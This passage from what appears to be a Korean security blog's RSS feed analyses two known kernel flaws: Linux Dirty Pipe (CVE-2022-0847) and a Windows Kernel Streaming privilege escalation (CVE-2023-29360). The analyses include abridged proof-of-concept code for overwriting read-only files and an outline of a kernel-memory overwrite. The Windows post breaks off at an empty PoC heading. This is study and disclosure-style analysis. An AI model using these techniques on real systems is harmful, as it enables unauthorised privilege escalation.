&lt;li&gt;&amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2024-21626&quot;&amp;gt;https://nvd.nist.gov/vuln/detail/cve-2024-21626&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv&quot;&amp;gt;https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://nitroc.org/en/posts/cve-2024-21626-illustrated/&quot;&amp;gt;https://nitroc.org/en/posts/cve-2024-21626-illustrated/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.vicarius.io/vsociety/posts/leaky-vessels-part-1-cve-2024-21626&quot;&amp;gt;https://www.vicarius.io/vsociety/posts/leaky-vessels-part-1-cve-2024-21626&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>CVE-2022-0847</title><link>https://aidenkim-com.github.io/posts/cve-2022-0847/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/cve-2022-0847/</guid><description>Analysis of Linux Dirty Pipe Vulnerability</description><pubDate>Tue, 07 Jan 2025 15:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;TOOR 팀 활동을 하며 분석하게된 리눅스 커널 원데이 취약점에 관한 글입니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/toor.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;이번에 알아볼 &lt;code&gt;Dirty Pipe&lt;/code&gt; 취약점은 2022년 3월 7일에 공개된 리눅스 파이프 처리와 관련된 커널 취약점입니다.&lt;/p&gt;
&lt;p&gt;해당 취약점은 리눅스의 &lt;code&gt;pipe&lt;/code&gt; 연산 과정중 파이프 버퍼에 설정된 플래그값이 파이프관련 시스템 콜에서 적절하게 초기화가 진행되지 않고 사용되어 발생하는 취약점입니다.&lt;/p&gt;
&lt;p&gt;이로인해 공격자는 읽기 권한이 있는 파일의 페이지 캐시를 덮어쓸 수 있습니다.&lt;/p&gt;
&lt;p&gt;본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료는 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://dirtypipe.cm4all.com/&quot;&amp;gt;https://dirtypipe.cm4all.com/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://blogs.oracle.com/linux/post/pipe-and-splice&quot;&amp;gt;https://blogs.oracle.com/linux/post/pipe-and-splice&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://0x434b.dev/learning-linux-kernel-exploitation-part-2-cve-2022-0847/&quot;&amp;gt;https://0x434b.dev/learning-linux-kernel-exploitation-part-2-cve-2022-0847/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Vuln&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;CVE-ID : CVE-2022-0847&lt;/li&gt;
&lt;li&gt;CWE-665: Improper Initialization&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;RCA&lt;/h1&gt;
&lt;p&gt;취약점은 파이프의 특정 연산으로 인해 설정된 &lt;code&gt;PIPE_BUF_FLAG_CAN_MERGE&lt;/code&gt;의 초기화가 제대로 진행되지 않아서 발생하게됩니다. 이게 무슨뜻일까요?&lt;/p&gt;
&lt;p&gt;리눅스가 파이프를 생성하는 호출 흐름을 보면 다음과 같습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2022-0847/pipe_flow.png&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;위의 플로우를 보면 알 수 있듯, 파이프를 생성할 때 데이터의 이동을 위한 &lt;code&gt;pipe_buffer&lt;/code&gt; 구조체를 생성합니다.&lt;/p&gt;
&lt;p&gt;리눅스 커널 버전 5.16.10에서의 파이프 버퍼의 구조체를 확인해보면 다음과 같습니다. (본 글에서 오디팅에 사용된 코드들은 전부 리눅스 커널 버전 5.16.10의 소스 코드입니다.)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 *	struct pipe_buffer - a linux kernel pipe buffer
 *	@page: the page containing the data for the pipe buffer
 *	@offset: offset of data inside the @page
 *	@len: length of data inside the @page
 *	@ops: operations associated with this buffer. See @pipe_buf_operations.
 *	@flags: pipe buffer flags. See above.
 *	@private: private data owned by the ops.
 **/
struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;구조체에서도 알 수 있듯, 파이프 버퍼는 데이터 이동을 위해 페이지를 참조하고 있습니다.&lt;/p&gt;
&lt;p&gt;이 버퍼는 &lt;code&gt;pipe_inode_info&lt;/code&gt;에서 다음과 같이 배열(&lt;code&gt;struct pipe_buffer *bufs&lt;/code&gt;) 형태로 관리됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 *	struct pipe_inode_info - a linux kernel pipe
 *	@mutex: mutex protecting the whole thing
 *	@rd_wait: reader wait point in case of empty pipe
 *	@wr_wait: writer wait point in case of full pipe
 *	@head: The point of buffer production
 *	@tail: The point of buffer consumption
 *	@note_loss: The next read() should insert a data-lost message
 *	@max_usage: The maximum number of slots that may be used in the ring
 *	@ring_size: total number of buffers (should be a power of 2)
 *	@nr_accounted: The amount this pipe accounts for in user-&amp;gt;pipe_bufs
 *	@tmp_page: cached released page
 *	@readers: number of current readers of this pipe
 *	@writers: number of current writers of this pipe
 *	@files: number of struct file referring this pipe (protected by -&amp;gt;i_lock)
 *	@r_counter: reader counter
 *	@w_counter: writer counter
 *	@poll_usage: is this pipe used for epoll, which has crazy wakeups?
 *	@fasync_readers: reader side fasync
 *	@fasync_writers: writer side fasync
 *	@bufs: the circular array of pipe buffers
 *	@user: the user who created this pipe
 *	@watch_queue: If this pipe is a watch_queue, this is the stuff for that
 **/
struct pipe_inode_info {
	struct mutex mutex;
	wait_queue_head_t rd_wait, wr_wait;
	unsigned int head;
	unsigned int tail;
	unsigned int max_usage;
	unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
	bool note_loss;
#endif
	unsigned int nr_accounted;
	unsigned int readers;
	unsigned int writers;
	unsigned int files;
	unsigned int r_counter;
	unsigned int w_counter;
	unsigned int poll_usage;
	struct page *tmp_page;
	struct fasync_struct *fasync_readers;
	struct fasync_struct *fasync_writers;
	struct pipe_buffer *bufs;
	struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
	struct watch_queue *watch_queue;
#endif
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위의 파이프에 대한 정보는 &lt;code&gt;get_pipe_inode&lt;/code&gt;에서 생성된 &lt;code&gt;inode&lt;/code&gt;에 등록됩니다. 다음 &lt;code&gt;get_pipe_inode&lt;/code&gt; 일부의 코드에서 볼 수 있듯, 파이프 연산에 대한 테이블(&lt;code&gt;pipefifo_fops&lt;/code&gt;)이 삽입됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static struct inode * get_pipe_inode(void)
{
  struct inode *inode = new_inode_pseudo(pipe_mnt-&amp;gt;mnt_sb);
	struct pipe_inode_info *pipe;
  
  ...

  pipe = alloc_pipe_info();

  ...

  inode-&amp;gt;i_pipe = pipe;
	pipe-&amp;gt;files = 2;
	pipe-&amp;gt;readers = pipe-&amp;gt;writers = 1;
	inode-&amp;gt;i_fop = &amp;amp;pipefifo_fops;

  ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;테이블에 명시된 연산들을 살펴보면 실제 파이프를 통해 특정 연산(read, write등)를 수행했을 때 동작하게되는 함수들을 알 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const struct file_operations pipefifo_fops = {
	.open		= fifo_open,
	.llseek		= no_llseek,
	.read_iter	= pipe_read,
	.write_iter	= pipe_write,
	.poll		= pipe_poll,
	.unlocked_ioctl	= pipe_ioctl,
	.release	= pipe_release,
	.fasync		= pipe_fasync,
	.splice_write	= iter_file_splice_write,
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;파이프에 쓰기 작업을 할 때의 &lt;code&gt;pipe_write&lt;/code&gt; 함수의 일부 코드를 살펴봅시다. 다음은 파이프가 초기상태로 파이프 버퍼에 페이지가 비어있는 경우
&lt;code&gt;pipe_write&lt;/code&gt;는 다음과 같은 루틴을 통해 페이지를 할당하게되고 파이프 버퍼 슬롯에 페이지가 삽입됩니다. 해당 영역에는 유저 영역에서 넘어온 데이터가 기록됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (;;) {
		if (!pipe-&amp;gt;readers) {
			send_sig(SIGPIPE, current, 0);
			if (!ret)
				ret = -EPIPE;
			break;
		}

		head = pipe-&amp;gt;head;
		if (!pipe_full(head, pipe-&amp;gt;tail, pipe-&amp;gt;max_usage)) {
			unsigned int mask = pipe-&amp;gt;ring_size - 1;
			struct pipe_buffer *buf = &amp;amp;pipe-&amp;gt;bufs[head &amp;amp; mask];
			struct page *page = pipe-&amp;gt;tmp_page;
			int copied;

			if (!page) {
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe-&amp;gt;tmp_page = page;
			}

			/* Allocate a slot in the ring in advance and attach an
			 * empty buffer.  If we fault or otherwise fail to use
			 * it, either the reader will consume it or it&apos;ll still
			 * be there for the next write.
			 */
			spin_lock_irq(&amp;amp;pipe-&amp;gt;rd_wait.lock);

			head = pipe-&amp;gt;head;
			if (pipe_full(head, pipe-&amp;gt;tail, pipe-&amp;gt;max_usage)) {
				spin_unlock_irq(&amp;amp;pipe-&amp;gt;rd_wait.lock);
				continue;
			}

			pipe-&amp;gt;head = head + 1;
			spin_unlock_irq(&amp;amp;pipe-&amp;gt;rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &amp;amp;pipe-&amp;gt;bufs[head &amp;amp; mask];
			buf-&amp;gt;page = page;
			buf-&amp;gt;ops = &amp;amp;anon_pipe_buf_ops;
			buf-&amp;gt;offset = 0;
			buf-&amp;gt;len = 0;
			if (is_packetized(filp))
				buf-&amp;gt;flags = PIPE_BUF_FLAG_PACKET;
			else
				buf-&amp;gt;flags = PIPE_BUF_FLAG_CAN_MERGE;
			pipe-&amp;gt;tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);

      ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위 코드 중에서 다음 조건문에 의해서 할당된 버퍼 정보에 &lt;code&gt;PIPE_BUF_FLAG_CAN_MERGE&lt;/code&gt;가 설정될 수 있다는 사실을 알 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    if (is_packetized(filp))
      buf-&amp;gt;flags = PIPE_BUF_FLAG_PACKET;
    else
      buf-&amp;gt;flags = PIPE_BUF_FLAG_CAN_MERGE;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;is_packetized&lt;/code&gt; 함수는 생성된 파이프에 대한 파일 포인터의 flags에 &lt;code&gt;O_DIRECT&lt;/code&gt;가 설정되었는지 확인하는 함수로 기본적으로 사용자 영역에서 이 플래그를 제어(설정)할 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static inline int is_packetized(struct file *file)
{
   return (file-&amp;gt;f_flags &amp;amp; O_DIRECT) != 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;따라서 파이프 생성, 데이터 기록시에 파이프 버퍼의 flags에 &lt;code&gt;PIPE_BUF_FLAG_CAN_MERGE&lt;/code&gt; 플래그가 설정된 파이프 버퍼를 만들 수 있습니다.&lt;/p&gt;
&lt;p&gt;이렇게 설정된 &lt;code&gt;PIPE_BUF_FLAG_MERGE&lt;/code&gt; 플래그는 지금부터 알아볼 &lt;code&gt;splice&lt;/code&gt; 시스템 콜 함수에서 적절하게 초기화되지 않아 문제가됩니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;splice&lt;/code&gt; 시스템 콜은 파이프와 파이프간, 혹은 파이프와 파일간의 데이터 이동에 있어서 효율적인 처리를 위해 고안된 함수로,
데이터를 전송하는 과정에 있어서 유저 공간으로의 데이터 복사를 필요로 하지않고 커널 영역에서의 데이터 이동이 가능하게해줍니다.&lt;/p&gt;
&lt;p&gt;즉, 파일에 있는 데이터를 파이프에 옮기거나 파이프에 있는 데이터를 파이프에 옮기는 과정에서 유저 영역으로의 복사를 생략하고, 커널 영역에서의 이동만으로 효율적인 처리를 하는 함수라고 생각하면됩니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;splice&lt;/code&gt; 시스템 콜은 파이프를 대상으로한 시스템 콜로 다음과 같은 경우를 지원합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pipe → pipe&lt;/li&gt;
&lt;li&gt;file → pipe&lt;/li&gt;
&lt;li&gt;pipe → file&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이러한 &lt;code&gt;splice&lt;/code&gt;의 호출 흐름 중 file → pipe의 흐름에 대한 그림을 그려보면 다음과 같아집니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2022-0847/splice_flow.png&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://nvd.nist.gov/vuln/detail/cve-2022-0847&quot;&amp;gt;NVD&amp;lt;/a&amp;gt;의 Description 내용을 보면 알 수 있듯, 취약점은 위 흐름 중 &lt;code&gt;copy_page_to_iter_pipe&lt;/code&gt;에서 발생하는 것을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;플로우에 나타난 &lt;code&gt;filemap_read&lt;/code&gt;는 페이지 캐시로부터 데이터를 읽어들입니다. 그리고 이렇게 읽어들인 페이지 정보는 &lt;code&gt;copy_page_to_iter&lt;/code&gt;를 통해서 파이프로 전달하는 과정을 거치게됩니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;copy_page_to_iter_pipe&lt;/code&gt;를 확인해보면 이렇게 읽어들인 페이지가 어떻게 파이프로 이동하는지 알 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i-&amp;gt;pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe-&amp;gt;tail;
	unsigned int p_mask = pipe-&amp;gt;ring_size - 1;
	unsigned int i_head = i-&amp;gt;head;
	size_t off;

	if (unlikely(bytes &amp;gt; i-&amp;gt;count))
		bytes = i-&amp;gt;count;

	if (unlikely(!bytes))
		return 0;

	if (!sanity(i))
		return 0;

	off = i-&amp;gt;iov_offset;
	buf = &amp;amp;pipe-&amp;gt;bufs[i_head &amp;amp; p_mask];

  ...

	if (pipe_full(i_head, p_tail, pipe-&amp;gt;max_usage))
		return 0;

	buf-&amp;gt;ops = &amp;amp;page_cache_pipe_buf_ops;
	get_page(page);
	buf-&amp;gt;page = page;
	buf-&amp;gt;offset = offset;
	buf-&amp;gt;len = bytes;

	pipe-&amp;gt;head = i_head + 1;
	i-&amp;gt;iov_offset = offset + bytes;
	i-&amp;gt;head = i_head;
out:
	i-&amp;gt;count -= bytes;
	return bytes;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;위 코드를 보면 알 수 있듯, 앞서 가져온 페이지 캐시를 현재 파이프 버퍼의 헤드 부분에 삽입하는 것을 볼 수 있습니다. 이 과정에서 페이지 캐시에 대한 정보를 갖는 파이프 버퍼의 플래그 값이 초기화되지 않습니다. 이로인해 앞서 살펴본 &lt;code&gt;pipe_write&lt;/code&gt;의 루틴 중 &lt;code&gt;PIPE_BUF_FLAG_CAN_MERGE&lt;/code&gt;가 버퍼에 설정되어있을 경우의 처리로 인해서 페이지 캐시를 덮어쓸 수 있게됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	...

		if ((buf-&amp;gt;flags &amp;amp; PIPE_BUF_FLAG_CAN_MERGE) &amp;amp;&amp;amp;
		    offset + chars &amp;lt;= PAGE_SIZE) {
			ret = pipe_buf_confirm(pipe, buf);
			if (ret)
				goto out;

			ret = copy_page_from_iter(buf-&amp;gt;page, offset, chars, from);
			if (unlikely(ret &amp;lt; chars)) {
				ret = -EFAULT;
				goto out;
			}

			buf-&amp;gt;len += ret;
			if (!iov_iter_count(from))
				goto out;
		}
	}
  ...
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;PIPE_BUF_FLAG_CAN_MERGE&lt;/code&gt;가 설정되어있을 경우 &lt;code&gt;pipe_write&lt;/code&gt;는 삽입되는 정보를 페이지 캐시에 그대로 작성하게됩니다.&lt;/p&gt;
&lt;p&gt;이는 읽기권한만 있는 파일에도 동일하게 적용되며, 플래그가 제대로 초기화되지 않은 시점에서 읽기 권한만 존재하는 파일의 페이지 캐시를 덮어써 원하는 데이터를 읽게 유도할 수 있습니다. 자세한 공격 방식은 PoC 파트에서 알아봅시다.&lt;/p&gt;
&lt;h1&gt;PoC&lt;/h1&gt;
&lt;p&gt;PoC는 &amp;lt;a href=&quot;https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit&quot;&amp;gt;여기&amp;lt;/a&amp;gt;에서 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;먼저 공격에 사용할 파이프와 파이프 버퍼의 플래그를 설정하는 &lt;code&gt;prepare_pipe&lt;/code&gt; 함수의 일부입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Create a pipe where all &quot;bufs&quot; on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
  ...

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r &amp;gt; 0;) {
		unsigned n = r &amp;gt; sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r &amp;gt; 0;) {
		unsigned n = r &amp;gt; sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its &quot;flags&quot;, the buffer
	   will be mergeable */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;파이프를 만들고 모두 비움으로써 모든 파이프 버퍼의 플래그를 &lt;code&gt;PIPE_BUF_FLAG_CAN_MERGE&lt;/code&gt;로 설정합니다.&lt;/p&gt;
&lt;p&gt;이렇게 만들어지는 공격용 파이프는 &lt;code&gt;main&lt;/code&gt; 함수에서 다음과 같이 사용됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  ...

	const int fd = open(path, O_RDONLY); // yes, read-only! :-)

  ...

  	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   &quot;flags&quot;, PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &amp;amp;offset, p[1], NULL, 1, 0);

  ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;splice&lt;/code&gt; 시스템 콜을 통해 file → pipe 형태의 연산으로 파이프에 읽기 전용 파일에 대한 참조가 생성됩니다.&lt;/p&gt;
&lt;p&gt;즉, 파이프 버퍼에 읽기 전용 파일에 대한 포인터가 담기게됐고, 플래그는 초기화되지 않은 상태입니다.&lt;/p&gt;
&lt;p&gt;파이프는 읽기 전용 페이지 캐시에 데이터를 쓸 수 있게 됐습니다. 따라서 다음과 같은 공격 코드로 원하는 데이터를 원하는 오프셋 지점부터 써넣습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Patch&lt;/h1&gt;
&lt;p&gt;patch 내용은 &amp;lt;a href=&quot;https://lore.kernel.org/lkml/20220221100313.1504449-1-max.kellermann@ionos.com/&quot;&amp;gt;이곳&amp;lt;/a&amp;gt;에서 확인할 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;--- a/lib/iov_iter.c
+++ b/lib/iov_iter.c
@@ -414,6 +414,7 @@ static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t by
 		return 0;
 
 	buf-&amp;gt;ops = &amp;amp;page_cache_pipe_buf_ops;
+	buf-&amp;gt;flags = 0;
 	get_page(page);
 	buf-&amp;gt;page = page;
 	buf-&amp;gt;offset = offset;
@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter *i, size_t size,
 			break;
 
 		buf-&amp;gt;ops = &amp;amp;default_pipe_buf_ops;
+		buf-&amp;gt;flags = 0;
 		buf-&amp;gt;page = page;
 		buf-&amp;gt;offset = 0;
 		buf-&amp;gt;len = min_t(ssize_t, left, PAGE_SIZE);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;파이프 버퍼의 플래그를 초기화 시키는 코드가 추가됐습니다.&lt;/p&gt;
&lt;h1&gt;Mitigation&lt;/h1&gt;
&lt;p&gt;해당 취약점에 대한 보안 업데이트를 통해 취약점을 완화시킬 수 있습니다.&lt;/p&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://dirtypipe.cm4all.com/&quot;&amp;gt;https://dirtypipe.cm4all.com/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://blogs.oracle.com/linux/post/pipe-and-splice&quot;&amp;gt;https://blogs.oracle.com/linux/post/pipe-and-splice&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://0x434b.dev/learning-linux-kernel-exploitation-part-2-cve-2022-0847/&quot;&amp;gt;https://0x434b.dev/learning-linux-kernel-exploitation-part-2-cve-2022-0847/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.cyberone.kr/news-trends-detail?id=86147&amp;amp;page=1&quot;&amp;gt;https://www.cyberone.kr/news-trends-detail?id=86147&amp;amp;page=1&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://ufo.stealien.com/2022-03-15/dirtypipe-review&quot;&amp;gt;https://ufo.stealien.com/2022-03-15/dirtypipe-review&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://www.hackthebox.com/blog/Dirty-Pipe-Explained-CVE-2022-0847&quot;&amp;gt;https://www.hackthebox.com/blog/Dirty-Pipe-Explained-CVE-2022-0847&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>CVE-2023-29360</title><link>https://aidenkim-com.github.io/posts/cve-2023-29360/</link><guid isPermaLink="true">https://aidenkim-com.github.io/posts/cve-2023-29360/</guid><description>Analysis of Windows Kernel Streaming Service LPE Vulnerability</description><pubDate>Wed, 27 Nov 2024 15:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;TOOR 팀 활동을 하며 분석하게된 윈도우 커널 스트리밍 서비스 원데이 취약점에 관한 글입니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/toor.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;이번에 알아볼 취약점은 2023년 6월 13일에 공개된 윈도우 커널 스트리밍 서비스 드라이버에서 발생하는 LPE 취약점 입니다.&lt;/p&gt;
&lt;p&gt;mskssrv.sys에서 MDL을 처리하는 과정의 잘못된 인자 설정으로 인해 임의의 커널 영역을 유저 영역에서 덮어쓸 수 있게하는 취약점입니다. 이를 통해 공격자는 권한 상승을 하여 관리자 권한의 쉘을 획득하는 것이 가능해집니다.&lt;/p&gt;
&lt;p&gt;본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료는 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://big5-sec.github.io/posts/CVE-2023-29360-analysis/&quot;&amp;gt;https://big5-sec.github.io/posts/CVE-2023-29360-analysis/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://github.com/Nero22k/cve-2023-29360&quot;&amp;gt;https://github.com/Nero22k/cve-2023-29360&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://blog.theori.io/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system-12f7821d97bb&quot;&amp;gt;https://blog.theori.io/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system-12f7821d97bb&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Vuln&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;CVE-ID : CVE-2023-29360&lt;/li&gt;
&lt;li&gt;CWE-822: Untrusted Pointer Dereference&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;RCA&lt;/h1&gt;
&lt;p&gt;취약점은 mskssrv.sys의 FsAllocAndLockMdl 함수에서 발생합니다.&lt;/p&gt;
&lt;p&gt;FsAllocAndLockMdl은 다음과 같은 흐름으로 호출됩니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2023-29360/vulnflow.jpg&quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;패치전의 FsAllocAndLockMdl 함수에서는 MmProbeAndLockPages를 다음과 같은 형태로 호출합니다.
&amp;lt;p align=&quot;center&quot;&amp;gt;&amp;lt;img src=&quot;/assets/img/CVE-2023-29360/FsAllocAndLockMdl.png&quot;/&amp;gt;&amp;lt;/p&amp;gt;
FsAllocAndLockMdl은 전달받은 VA를 물리주소와 매핑하는 MDL을 만들고 페이징 잠금을 진행합니다.&lt;/p&gt;
&lt;p&gt;이때  MmProbeAndLockPages의 첫 번째, 두 번째 인자는 매핑할 가상주소 및 크기이며 유저 영역의 데이터를 통해 값을 설정할 수 있습니다.  세 번째 인자는 AccessMode로 MmProbeAndLockPages로 잠글 MDL이 유저 모드인지 커널모드인지에 따라 주소 검증을 진행합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall MiProbeAndLockPrepare(
        __int64 a1,
        __int64 a2,
        unsigned __int64 a3,
        unsigned int a4,
        char a5,
        int a6,
        int a7)
{
	...
	  if ( a5 &amp;amp;&amp;amp; (v10 &amp;gt; 0x7FFFFFFF0000i64 || a3 &amp;gt;= v10) )
	  JUMPOUT(0x140499F86i64);
	...	
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1일 경우 UserMode로 커널 영역의 가상 주소를 매핑할 수 없게 만듭니다. 하지만 패치 전의 코드에서는 커널 모드로 주소 검증이 생략됩니다.&lt;/p&gt;
&lt;p&gt;이를 통해 유저 영역에서 임의의 커널 주소 공간으로 MDL을 잠그는 것이 가능합니다. 이를 어떻게 악용할까요?&lt;/p&gt;
&lt;h1&gt;Exploit&lt;/h1&gt;
&lt;p&gt;IoControlCode == 0x2F0420일 경우에 호출되는 ConsumeTx는 FSFrameMdl::MapPages를 호출하게되는데, 이를 통해 사용자 영역의 주소를 앞서 잠근 커널 주소의 물리 메모리와 매핑 시킬 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall FSStreamReg::ConsumeTx(FSStreamReg *this, struct FSFrameInfo *a2)
{
  ...
      v11 = FSFrameMdl::MapPages(
              (FSFrameMdl *)v9,
              *((struct _EPROCESS **)this + 7),
              *((struct _EPROCESS **)this + 8),
              (struct FSFrameInfo *)((char *)a2 + 136 * v10 + 40));
  ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이렇게 매핑된 현재 프로세스의 권한 정보를 가진 물리 메모리 영역을 덮어씀으로써 권한 상승을 할 수 있습니다.&lt;/p&gt;
&lt;h1&gt;PoC&lt;/h1&gt;
